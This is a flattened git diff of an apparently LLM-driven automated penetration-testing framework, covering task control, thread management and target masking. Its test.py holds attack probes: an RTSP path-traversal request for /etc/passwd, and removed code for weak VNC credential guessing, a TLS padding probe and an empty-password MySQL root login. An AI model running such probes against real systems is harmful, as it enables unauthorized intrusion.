#先尝试停止
bsuccess,_ = self.stop_task_TM(task_id)
time.sleep(1)
if bsuccess:
#再结束
bsuccess = app_DBM.over_task(task_id) # 不管是不是修改(置2)成功,都执行结束
del self.tasks[task_id] # 删除缓存
return True,"结束任务成功"
else: else:
return False,"没有找到对应的任务" return False,"该任务不存在,程序逻辑存在问题!"
#删除任务
def del_task(self,task_id): def del_task(self,task_id):
if g_PKM.DelData(str(task_id)): #删除数据记录
bsuccess = app_DBM.del_task(task_id) app_DBM.del_task(task_id)
return bsuccess,"" #删除节点树
else: g_PKM.DelData(str(task_id))
return False,"删除对应文件失败" return True,"删除任务成功!"
#控制task启停----线程不停 #控制task启停----线程不停 --2025-4-28 配合批量任务,需要停止工作线程了
def control_taks(self,task_id): def control_taks(self,task_id):
task = self.tasks[task_id] task = self.tasks[task_id]
if task: if task:
if task.task_status == 0: # 0-暂停,1-执行中,2-已完成 if task.task_status == 0: # 0-暂停,1-执行中,2-已完成
task.task_status = 1 bsuc,error = self.start_task_TM(task_id) #任务是否存在的状态有点重复
elif task.task_status == 1: elif task.task_status == 1:
task.task_status = 0 bsuc,error = self.stop_task_TM(task_id)
else: else:
return False,"当前任务状态不允许修改,请联系管理员!",task.task_status return False,"当前任务状态不允许修改,请联系管理员!",task.task_status
else: else:
return False,"没有找到对应的任务",None return False,"没有找到对应的任务",None
return True,"",task.task_status return bsuc,error,task.task_status
# 获取任务list # 获取任务list
def get_task_list(self): def get_task_list(self):
tasks = [] tasks = []
for task in self.tasks.values(): for task in self.tasks.values():
one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status, "safeRank": task.safe_rank, one_json = {"taskID": task.task_id, "testTarget": task.target, "taskStatus": task.task_status,
"workType": task.work_type} "safeRank": task.safe_rank,"workType": task.work_type}
tasks.append(one_json) tasks.append(one_json)
rejson = {"tasks": tasks} rejson = {"tasks": tasks}
return rejson return rejson
@ -132,10 +196,11 @@ class TaskManager:
task = self.tasks[task_id] task = self.tasks[task_id]
if task: if task:
if task.task_status == 0: if task.task_status == 0:
task.work_type = new_work_type task.update_task_work_type(new_work_type)
return True return True
return False return False
#------------节点操作相关-------还未二次走查-------------
#控制节点的工作状态 #控制节点的工作状态
def node_bwork_control(self,task_id,node_path): def node_bwork_control(self,task_id,node_path):
task = self.tasks[task_id] task = self.tasks[task_id]
@ -214,23 +279,4 @@ class TaskManager:
tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time) tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return tasks return tasks
#------------以下函数还未验证处理-----------
def start_task(self, task_id):
"""启动指定任务"""
task = self.tasks.get(task_id)
if task:
task.start(self.num_threads)
else:
print(f"Task {task_id} not found")
def stop_task(self, task_id):
"""停止指定任务"""
task = self.tasks.get(task_id)
if task:
task.stop()
else:
print(f"Task {task_id} not found")
g_TaskM = TaskManager() #单一实例 g_TaskM = TaskManager() #单一实例

217
mycode/TaskObject.py

@ -1,7 +1,6 @@
''' '''
渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据 渗透测试任务管理类 一次任务的闭合性要检查2025-3-10 一次任务后要清理LLM和InstrM的数据
''' '''
from mycode.TargetManager import TargetManager # 从模块导入类
#from LLMManager import LLMManager # 同理修正其他导入 #from LLMManager import LLMManager # 同理修正其他导入
from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。 from mycode.ControlCenter import ControlCenter #控制中心替代LLM--控制中心要实现一定的基础逻辑和渗透测试树的维护。
from mycode.InstructionManager import g_instrM from mycode.InstructionManager import g_instrM
@ -15,6 +14,7 @@ from myutils.ConfigManager import myCongif
from mycode.WebSocketManager import g_WSM from mycode.WebSocketManager import g_WSM
from mycode.CommandVerify import g_CV from mycode.CommandVerify import g_CV
from mycode.PythonTManager import PythonTManager from mycode.PythonTManager import PythonTManager
from mycode.DataFilterManager import DataFilterManager
import asyncio import asyncio
import queue import queue
import time import time
@ -26,12 +26,13 @@ import textwrap
class TaskObject: class TaskObject:
def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,taskM): def __init__(self,test_target,cookie_info,work_type,llm_type,num_threads,local_ip,fake_target,taskM,safe_rank=0):
#功能类相关 #功能类相关
self.taskM = taskM self.taskM = taskM
self.logger = LogHandler().get_logger("TaskObject") self.logger = LogHandler().get_logger("TaskObject")
self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查 self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查
self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs")) self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
self.DataFilter = DataFilterManager(test_target,fake_target)
self.CCM = ControlCenter() #一个任务一个CCM self.CCM = ControlCenter() #一个任务一个CCM
self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM
#全局变量 #全局变量
@ -42,10 +43,10 @@ class TaskObject:
self.cookie = cookie_info self.cookie = cookie_info
self.work_type = work_type #工作模式 0-人工,1-自动 self.work_type = work_type #工作模式 0-人工,1-自动
self.task_id = None self.task_id = None
self.task_status = 0 #0-暂停,1-执行中,2-已完成 self.task_status = 0 #0-暂停,1-执行中,2-已完成 3-未启动,2025-4-27为配合批量添加任务增加“未启动”状态
self.local_ip = local_ip self.local_ip = local_ip
self.attack_tree = None #任务节点树 self.attack_tree = None #任务节点树
self.safe_rank = 0 #安全级别 0-9 #?暂时还没实现更新逻辑 self.safe_rank = safe_rank #安全级别 0-9 #?暂时还没实现更新逻辑
self.is_had_work = False self.is_had_work = False
self.is_had_work_lock = threading.Lock() self.is_had_work_lock = threading.Lock()
@ -88,11 +89,36 @@ class TaskObject:
"""截取字符串前 max_length 个字符,并添加截断标记(确保总长度不超过限制)""" """截取字符串前 max_length 个字符,并添加截断标记(确保总长度不超过限制)"""
if not s: if not s:
return s return s
#一些无效信息的删除
s = s.replace("pydev debugger: bytes arguments were passed to a new process creation function. Breakpoints may not work correctly.","")
# 计算保留长度(考虑截断标记占位) # 计算保留长度(考虑截断标记占位)
truncated = s[:max_length - len(ellipsis)] if len(s) > max_length else s truncated = s[:max_length - len(ellipsis)] if len(s) > max_length else s
return truncated + ellipsis if len(s) > max_length else s return truncated + ellipsis if len(s) > max_length else s
def do_instruction(self,instruction):
instruction = textwrap.dedent(instruction.strip())
# 对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
# 2025-4-27要重新定义bool值作用,初步想法True-作为指令已处理(执行或不执行),False-作为异常,指令还没有处理-可以回Q
if instruction.startswith("python-code"): # python代码--超过子进程数会阻塞等待,但不开始超时记时
bsuccess, instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else: # shell指令
bsuccess, instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
end_time = get_local_timestr() # 指令执行结束时间
# 只取结果的5000长度
reslut = self.smart_truncate(reslut, 4000)
source_result = self.smart_truncate(source_result)
return start_time,end_time,bsuccess,instr,reslut,source_result,ext_params
def do_worker_th(self,index): def do_worker_th(self,index):
#线程的dbm需要一个线程一个 #线程的dbm需要一个线程一个
th_DBM = DBManager() th_DBM = DBManager()
@ -113,23 +139,7 @@ class TaskObject:
break break
self.doing_instr_list[th_index] = instruction self.doing_instr_list[th_index] = instruction
instruction = textwrap.dedent(instruction.strip()) start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = self.do_instruction(instruction)
#对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间
if instruction.startswith("python-code"):#python代码--超过子进程数会阻塞等待,但不开始超时记时
instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else:#shell指令
instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
end_time = get_local_timestr() # 指令执行结束时间
#只取结果的5000长度
reslut = self.smart_truncate(reslut,4000)
source_result = self.smart_truncate(source_result)
# 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#? # 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
if th_DBM.ok: if th_DBM.ok:
@ -139,9 +149,10 @@ class TaskObject:
ext_params, work_node.path) ext_params, work_node.path)
else: else:
self.logger.error("数据库连接失败!!") self.logger.error("数据库连接失败!!")
#暂存结果 # 暂存结果
oneres = {'执行指令': instr, '结果': reslut} fake_inst,fake_resul = self.DataFilter.filter_result(instr,reslut)
results.append(oneres) oneres = {'执行指令': fake_inst, '结果': fake_resul}
results.append(oneres) #结果入队列后,指令就不能回退
#一条指令执行完成 #一条指令执行完成
self.doing_instr_list[th_index] = "" self.doing_instr_list[th_index] = ""
#指令都执行结束后,入节点待提交队列 #指令都执行结束后,入节点待提交队列
@ -152,6 +163,7 @@ class TaskObject:
self.put_node_reslist(work_node, str_res, llm_type) self.put_node_reslist(work_node, str_res, llm_type)
# 保存记录 # 保存记录
g_PKM.WriteData(self.attack_tree,str(self.task_id)) g_PKM.WriteData(self.attack_tree,str(self.task_id))
except queue.Empty: except queue.Empty:
if bnode_work: if bnode_work:
bnode_work = False bnode_work = False
@ -187,7 +199,7 @@ class TaskObject:
- 节点名称{llm_node.name} - 节点名称{llm_node.name}
- 节点状态未完成 - 节点状态未完成
- 漏洞类型{llm_node.vul_type} - 漏洞类型{llm_node.vul_type}
''' '''
while True: while True:
llm_data = llm_node.get_res() llm_data = llm_node.get_res()
if llm_data is None: if llm_data is None:
@ -196,10 +208,12 @@ class TaskObject:
str_res = llm_data["result"] str_res = llm_data["result"]
#获取提示词 #获取提示词
prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt) prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt)
fake_prompt = self.DataFilter.filter_prompt(prompt) #目标脱敏
self.doing_llm_list[th_index] = prompt self.doing_llm_list[th_index] = prompt
# 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行 # 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行
post_time = get_local_timestr() post_time = get_local_timestr()
bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新 bsuccess,node_cmds, commands,reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,llm_node,self.DataFilter) # message要更新 --llm_node只使用messages,都是脱敏后的数据
if not bsuccess: if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}") self.logger.error(f"模型接口调用出错:{content}")
continue #丢弃 --若需要再次尝试,把llm_data再入队列 continue #丢弃 --若需要再次尝试,把llm_data再入队列
@ -233,7 +247,7 @@ class TaskObject:
strdata = "update accack_tree!" strdata = "update accack_tree!"
asyncio.run(g_WSM.send_data(idatatype, strdata)) asyncio.run(g_WSM.send_data(idatatype, strdata))
# 先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送 # 先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送
self.taskM.web_cur_task = 0 #self.taskM.web_cur_task = 0
except queue.Empty: except queue.Empty:
if bnode_work: if bnode_work:
bnode_work = False bnode_work = False
@ -279,14 +293,15 @@ class TaskObject:
while self.brun: while self.brun:
try: try:
cur_time = get_local_timestr() cur_time = get_local_timestr()
print(f"-----------当前时间程序运行情况:{cur_time}") print(f"----------{self.task_id}-当前时间程序运行情况:{cur_time}")
#执行中instr-node #执行中instr-node
index = 0 index = 0
for w_th in self.workth_list: for w_th in self.workth_list:
if not w_th.is_alive():#线程 if not w_th.is_alive():#线程
print(f"线程-{index}已处于异常状态,需要重新创建一个工作线程") print(f"Work线程-{index}已处于异常状态,需要重新创建一个工作线程")
else: else:
print(f"线程-{index}在执行指令:{self.doing_instr_list[index]}") if self.doing_instr_list[index]:
print(f"Work线程-{index}-在执行指令:{self.doing_instr_list[index]}")
index += 1 index += 1
index = 0 index = 0
@ -294,7 +309,8 @@ class TaskObject:
if not l_th.is_alive(): if not l_th.is_alive():
print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程") print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程")
else: else:
print(f"LLM线程-{index}在执行指令:{self.doing_llm_list[index]}") if self.doing_llm_list[index]:
print(f"LLM线程-{index}-在执行指令:{self.doing_llm_list[index]}")
index += 1 index += 1
#处理点修复操作 #处理点修复操作
icount +=1 icount +=1
@ -485,7 +501,7 @@ class TaskObject:
#更新状态 #更新状态
bchange = node.update_work_status(work_status) bchange = node.update_work_status(work_status)
#基于websocket推送到前端 #基于websocket推送到前端
if bchange: if bchange and work_status != 1: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了
#判断是否是web端最新获取数据的task #判断是否是web端最新获取数据的task
if self.taskM.web_cur_task == self.task_id: if self.taskM.web_cur_task == self.task_id:
idatatype = 1 idatatype = 1
@ -681,8 +697,9 @@ class TaskObject:
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径 2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
3.只有当还有节点未能生成测试指令或不完整时才返回未生成指令的节点列表 3.只有当还有节点未能生成测试指令或不完整时才返回未生成指令的节点列表
''' '''
bsuccess,node_cmds, commands, reasoning_content, content, post_time = self.LLM.get_llm_instruction(user_Prompt, fake_prompt = self.DataFilter.filter_prompt(user_Prompt)
cur_node) # message要更新 bsuccess,node_cmds, commands, reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,
cur_node,self.DataFilter) # message要更新
if not bsuccess: if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}") self.logger.error(f"模型接口调用出错:{content}")
ierror += 1 ierror += 1
@ -692,6 +709,7 @@ class TaskObject:
res_str = "" res_str = ""
# LLM记录存数据库 # LLM记录存数据库
cur_node.llm_sn += 1 cur_node.llm_sn += 1
post_time = get_local_timestr()
bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path) bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path)
if not bres: if not bres:
self.logger.error(f"{cur_node.name}-llm入库失败!") self.logger.error(f"{cur_node.name}-llm入库失败!")
@ -712,56 +730,99 @@ class TaskObject:
self.logger.debug("未添加指令的节点,都已完成指令的添加!") self.logger.debug("未添加指令的节点,都已完成指令的添加!")
return new_commands return new_commands
def start_task(self,task_id,task_status=1,attack_tree=None): #-----------------任务的启停--------------------
def init_task(self,task_id,attack_tree = None):
self.task_id = task_id self.task_id = task_id
''' # 初始化节点树
启动该测试任务 if attack_tree: # 有值的情况是load
''' self.attack_tree = attack_tree
#判断目标合法性 # 加载未完成的任务
# bok,target,type = self.TargetM.validate_and_extract(self.target) #是否还需要判断待定? if self.work_type == 1: # 自动模式
# if not bok: # 提交到mq,待线程执行
# return False, "{target}检测目标不合规,请检查!"
#初始化节点树
if attack_tree:#有值的情况是load
self.attack_tree =attack_tree
#加载未完成的任务
if self.work_type ==1:#自动模式
#提交到mq,待线程执行
self.put_work_node() self.put_work_node()
else: #无值的情况是new_create else: # 无值的情况是new_create
root_node = TreeNode(self.target, self.task_id) #根节点 root_node = TreeNode(self.target, self.task_id) # 根节点
self.attack_tree = AttackTree(root_node) #创建测试树,同时更新根节点相关内容 self.attack_tree = AttackTree(root_node) # 创建测试树,同时更新根节点相关内容
self.LLM.build_initial_prompt(root_node) #对根节点初始化system-msg self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg
#插入一个user消息 # 插入一个user消息
# 提交第一个llm任务,开始工作 # 提交第一个llm任务,开始工作
know_info = f"本测试主机的IP地址为:{self.local_ip}" know_info = f"本测试主机的IP地址为:{self.local_ip}"
if self.cookie: self.put_node_reslist(root_node, know_info, 0) # 入待提交list
know_info = know_info + f",本站点的cookie值为{self.cookie}" # 初始保存个attack_tree文件
self.put_node_reslist(root_node,know_info,0) #入待提交list g_PKM.WriteData(self.attack_tree, str(self.task_id))
#初始保存个attack_tree文件
g_PKM.WriteData(self.attack_tree,str(self.task_id)) def is_task_stop(self):
#启动工作线程 #检查任务是否处于停止状态--防止停止后,线程还没停,又启动工作线程,造成混乱
self.task_status = task_status #工作线程
self.brun = True #线程正常启动 for work_th in self.workth_list:
#启动指令工作线程 if work_th:
for i in range(self.max_thread_num): if work_th.is_alive():
w_th = threading.Thread(target=self.do_worker_th,args=(i,)) self.logger.debug(f"{self.task_id}有存活工作线程")
w_th.start() return False
self.workth_list[i] = w_th #llm线程
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁 for llm_th in self.llmth_list:
for j in range(self.llm_max_nums): if llm_th:
l_th = threading.Thread(target=self.th_llm_worker,args=(j,)) if llm_th.is_alive():
l_th.start() self.logger.debug(f"{self.task_id}有存活LLM线程")
self.llmth_list[j]=l_th return False
#启动自检线程 #自检线程
self.check_th = threading.Thread(target=self.th_check) if self.check_th:
self.check_th.start() if self.check_th.is_alive():
self.logger.debug(f"{self.task_id}有存活自检线程")
return False
#工作子进程池
if self.PythonM.is_pool_active():
self.logger.debug(f"{self.task_id}有存活子进程池")
return False
return True
def update_task_work_type(self,new_work_type):
self.work_type = new_work_type
#更新数据库
app_DBM.update_task_work_type(self.task_id,new_work_type)
def update_task_status(self,new_status):
self.task_status = new_status
#更新数据库
app_DBM.update_task_status(self.task_id,new_status)
def start_task(self):
'''
启动该测试任务
:return bool str
'''
if self.is_task_stop():
#更新状态标识
self.update_task_status(1)
self.brun = True #线程正常启动
#启动指令工作线程
for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th,args=(i,),name=f"{self.task_id}-w_th-{i}")
w_th.start()
self.workth_list[i] = w_th
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁
for j in range(self.llm_max_nums):
l_th = threading.Thread(target=self.th_llm_worker,args=(j,),name=f"{self.task_id}-l_th-{i}")
l_th.start()
self.llmth_list[j]=l_th
#启动自检线程
self.check_th = threading.Thread(target=self.th_check)
self.check_th.start()
#启动python子进程池 --进程池的启动,目前是没全面确认原子进程池的状态,直接None
self.PythonM.start_pool()
return True,"启动任务成功!" #就算启动了一部分线程,也要认为是成功
else:
return False,"该任务的工作线程未全面停止,不能重新启动工作,请稍后,若半个小时候还不能启动,请联系技术支持!"
def stop_task(self): #还未处理 def stop_task(self): #还未处理
self.brun = False if self.brun and self.task_status ==1: #不是正常工作状态就不执行停止工作了
self.InstrM.init_data() #停止子进程池
#结束任务需要收尾处理#? self.PythonM.shutdown_pool()
#停止线程
self.brun = False
self.update_task_status(0)
# 结束任务需要收尾处理#?
self.InstrM.init_data() #pass
if __name__ == "__main__": if __name__ == "__main__":
pass pass

9
mycode/WebSocketManager.py

@ -1,10 +1,13 @@
import json import json
import struct import struct
import asyncio
from quart import websocket from quart import websocket
class WebSocketManager: class WebSocketManager:
def __init__(self): def __init__(self):
self.ws_clients={} self.ws_clients={}
self.ineed_send = 0
self.idone_send = 0
async def register(self, user_id, ws_proxy): async def register(self, user_id, ws_proxy):
ws = ws_proxy._get_current_object() # 获取代理背后的真实对象 ws = ws_proxy._get_current_object() # 获取代理背后的真实对象
@ -41,9 +44,15 @@ class WebSocketManager:
header = b"TFTF" + struct.pack("!II", idatatype, idata_len) header = b"TFTF" + struct.pack("!II", idatatype, idata_len)
message = header + body message = header + body
try: try:
# self.ineed_send +=1
# print(f"第{self.ineed_send}次开始发送数据-{idatatype}")
await ws.send(message) await ws.send(message)
await asyncio.sleep(0)
# await ws.ping()
except Exception as e: except Exception as e:
print(f"发送失败: {e}") print(f"发送失败: {e}")
await self.unregister(user_id) # 异常时自动注销连接 await self.unregister(user_id) # 异常时自动注销连接
# self.idone_send += 1
# print(f"WS-成功发送{self.idone_send}次数据-{idatatype}")
g_WSM = WebSocketManager() g_WSM = WebSocketManager()

3
pipfile

@ -15,6 +15,7 @@ pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/ pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install pexpect -i https://pypi.tuna.tsinghua.edu.cn/simple/ pip install pexpect -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install smbprotocol -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt install sublist3r apt install sublist3r
apt install gobuster apt install gobuster
@ -22,6 +23,8 @@ apt install jq
apt install libpq-dev python3-dev apt install libpq-dev python3-dev
apt install sshpass apt install sshpass
sudo apt install ncat
#smuggler #smuggler
git clone https://github.com/defparam/smuggler.git git clone https://github.com/defparam/smuggler.git

6
run.py

@ -11,6 +11,12 @@ async def run_quart_app():
config.bind = ["0.0.0.0:5001"] config.bind = ["0.0.0.0:5001"]
config.use_reloader = True # 启用热重载 config.use_reloader = True # 启用热重载
config.reload_include_patterns = ["*.py", "templates/*", "static/*"] # 监控模板和静态文件 config.reload_include_patterns = ["*.py", "templates/*", "static/*"] # 监控模板和静态文件
# Enable HTTPS
# config.certfile = "cert.pem" # Path to your certificate file
# config.keyfile = "key.pem" # Path to your private key file
# config.alpn_protocols = ["http/1.1"]
await serve(app, config) await serve(app, config)

153
test.py

@ -34,47 +34,27 @@ class Mytest:
g_PKM.WriteData(attack_tree, attack_index) g_PKM.WriteData(attack_tree, attack_index)
def dynamic_fun(self): def dynamic_fun(self):
import socket
try: try:
# 尝试无密码连接VNC s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = subprocess.run( s.settimeout(20) # 增加超时时间
['vncviewer', '-passwd', '/dev/null', '192.168.204.137:5900', '-geometry', '1x1'], s.connect(("192.168.3.105", 52989))
timeout=15, capture_output=True, text=True
) # 基于返回的 "99 -1 45973" 字符串构造特殊payload
if 'Authentication failure' in result.stderr: special_cmd = b'99\\x01\\x00\\x00\\x00' # 模拟协议头
# 尝试常见弱口令组合 s.sendall(special_cmd)
credentials = [
('admin', 'admin'), response = s.recv(2048)
('root', 'root'), s.close()
('vnc', 'vnc'),
('user', 'password') return (True, f"SpecialCmd Response: {response.hex()}")
]
for user, pwd in credentials:
cmd = f'vncauth {user} {pwd}'
auth_test = subprocess.run(cmd, shell=True, capture_output=True)
if auth_test.returncode == 0:
return (True, f'Valid credentials found: {user}/{pwd}')
return (False, 'No weak credentials found')
elif 'Connected' in result.stdout:
return (True, 'VNC access without authentication')
except subprocess.TimeoutExpired:
return (False, 'Connection timeout')
except Exception as e: except Exception as e:
return (False, f'Error: {str(e)}') return (False, str(e))
def do_test(self): def do_test(self):
import mysql.connector pass
cnx = mysql.connector.connect(
host="192.168.204.137",
user="root",
password="",
ssl_disabled=True
)
cur = cnx.cursor()
cur.execute("SHOW VARIABLES LIKE 'character_set_client'")
print(cur.fetchall()) # 应该显示 ('character_set_client', 'utf8')
cnx.close()
def tmp_test(self): def tmp_test(self):
list_a = [0,1,2,3,4,5,6,7,8,9] list_a = [0,1,2,3,4,5,6,7,8,9]
@ -90,91 +70,84 @@ if __name__ == "__main__":
# 示例使用 # 示例使用
mytest = Mytest() mytest = Mytest()
LLM = LLMManager(1) LLM = LLMManager(1)
PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
current_path = os.path.dirname(os.path.realpath(__file__)) current_path = os.path.dirname(os.path.realpath(__file__))
print(current_path) print(current_path)
test_type = 1 test_type = 1
task_id = 16 task_id = 49
task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip",None) task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip","",None)
if test_type == 0: if test_type == 0:
mytest.dynamic_fun() mytest.dynamic_fun()
elif test_type == 1: elif test_type == 1:
# # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen'] # # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
str_instr = '''python-code instruction = '''python-code
import ssl
from socket import create_connection
def dynamic_fun(): def dynamic_fun():
import socket
try: try:
# 强制使用CBC模式弱加密套件 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) s.settimeout(20) # 设置超时时间为20秒
context.set_ciphers('AES128-SHA') s.connect(("192.168.3.105", 11200))
# 构造异常填充测试数据 # 发送畸形RTSP请求探测边界条件
sock = create_connection(('58.216.217.70', 443)) payload = "DESCRIBE rtsp://192.168.3.105/../../../../etc/passwd RTSP/1.0\\\\r\\\\n"
ssock = context.wrap_socket(sock, server_hostname='58.216.217.70') payload += "CSeq: 6\\\\r\\\\n\\\\r\\\\n"
# 发送包含异常填充的测试请求 s.send(payload.encode())
ssock.send(b"GET / HTTP/1.1\\r\\nHost: 58.216.217.70\\r\\n" response = s.recv(4096).decode()
b"Cookie: test=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\r\\n\\r\\n")
response = ssock.recv(2048) s.close()
# 检测异常响应模式 if "404" in response:
if b"HTTP/1.1 200 OK" in response: return (False, "存在输入过滤机制")
return (True, "服务器接受异常填充数据") elif "root:" in response:
return (False, "未检测到典型漏洞特征") return (True, "成功读取敏感文件")
except ssl.SSLError as e:
return (False, f"加密错误: {repr(e)}")
except Exception as e:
return (False, f"验证失败: {str(e)}")
'''
#str_instr = str_instr.strip() + " --max-time 10"
dedented_code = textwrap.dedent(str_instr.strip())
#对多shell指令的情况进行处理--也有风险
if "python-code" not in dedented_code:
if "&&" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "&&")
elif "||" in dedented_code:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "||")
instr, reslut, source_result, ext_params = g_instrM.execute_instruction(dedented_code)
else: else:
instr, reslut, source_result, ext_params = PythonM.execute_instruction(dedented_code) return (False, f"未知响应:{response}")
# 只取结果的5000长度 except Exception as e:
reslut = task_Object.smart_truncate(reslut) return (False, f"连接异常:{str(e)}")
'''
task_Object.PythonM.start_pool() #开个子进程池就行
start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = task_Object.do_instruction(instruction)
# 暂存结果
oneres = {'执行指令': instr, '结果': reslut} oneres = {'执行指令': instr, '结果': reslut}
print("----执行结果----") print("----执行结果----")
print(reslut) print(reslut)
elif test_type == 2: #给节点添加指令 elif test_type == 2: #给节点添加指令
node_path = "目标系统->192.168.3.105->52989端口"
instr_id = 3233
g_TaskM.load_tasks() g_TaskM.load_tasks()
task = g_TaskM.tasks[task_id] task = g_TaskM.tasks[task_id]
nodes = task.attack_tree.traverse_dfs() nodes = task.attack_tree.traverse_dfs()
cur_node = nodes[78] cur_node = None
commands = [ for node in nodes:
] if node.path == node_path:
for cmd in commands: cur_node = node
cur_node.add_instr(cmd) break
if cur_node:
str_instr = app_DBM.get_one_instr(instr_id)
if "import" in str_instr:
str_instr = "python-code " + str_instr
cur_node.test_add_instr(str_instr)
cur_node.update_work_status(1) cur_node.update_work_status(1)
#保存数据 #保存数据
g_PKM.WriteData(task.attack_tree,str(task.task_id)) g_PKM.WriteData(task.attack_tree,str(task.task_id))
else:
print("没找到节点!")
elif test_type ==3: #测试指令入节点 elif test_type ==3: #测试指令入节点
strinstr = ''' strinstr = '''
)
''' '''
strNodes = "执行系统命令探测,权限提升尝试,横向移动测试" strNodes = "执行系统命令探测,权限提升尝试,横向移动测试"
nodes = strNodes.split(', ') nodes = strNodes.split(', ')
unique_names = list(set(nodes)) # 去重 unique_names = list(set(nodes)) # 去重
for node_name in unique_names: for node_name in unique_names:
print(node_name) print(node_name)
elif test_type == 4: # 修改Messages elif test_type == 4: # 修改Messages
attact_tree = g_PKM.ReadData("27") attact_tree = g_PKM.ReadData("27")
# 创建一个新的节点 # 创建一个新的节点
from mycode.AttackMap import TreeNode from mycode.AttackMap import TreeNode
testnode = TreeNode("test", 0) testnode = TreeNode("test", 0)
LLM.build_initial_prompt(testnode) # 新的Message LLM.build_initial_prompt(testnode) # 新的Message
systems = testnode.parent_messages[0]["content"] systems = testnode.parent_messages[0]["content"]
@ -186,7 +159,7 @@ def dynamic_fun():
g_PKM.WriteData(attact_tree, "27") g_PKM.WriteData(attact_tree, "27")
print("完成Messgae更新") print("完成Messgae更新")
elif test_type ==5: elif test_type ==5:
mytest.do_test() mytest.dynamic_fun()
elif test_type == 6: elif test_type == 6:
mytest.tmp_test() mytest.tmp_test()
else: else:

4
tools/CurlTool.py

@ -14,7 +14,7 @@ class CurlTool(ToolBase):
# self.verify_ssl = True # self.verify_ssl = True
def get_time_out(self): def get_time_out(self):
return 60 return 61*2
def validate_instruction(self, instruction_old): def validate_instruction(self, instruction_old):
#instruction = instruction_old #instruction = instruction_old
@ -97,7 +97,7 @@ class CurlTool(ToolBase):
return error return error
except Exception as e: except Exception as e:
return (False, f"命令执行失败: {str(e)}") return (f"命令执行失败: {str(e)}")
def execute_instruction(self, instruction_old): def execute_instruction(self, instruction_old):
ext_params = self.create_extparams() ext_params = self.create_extparams()

42
tools/EchoTool.py

@ -1,13 +1,49 @@
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
import pexpect
class EchoTool(ToolBase): class EchoTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
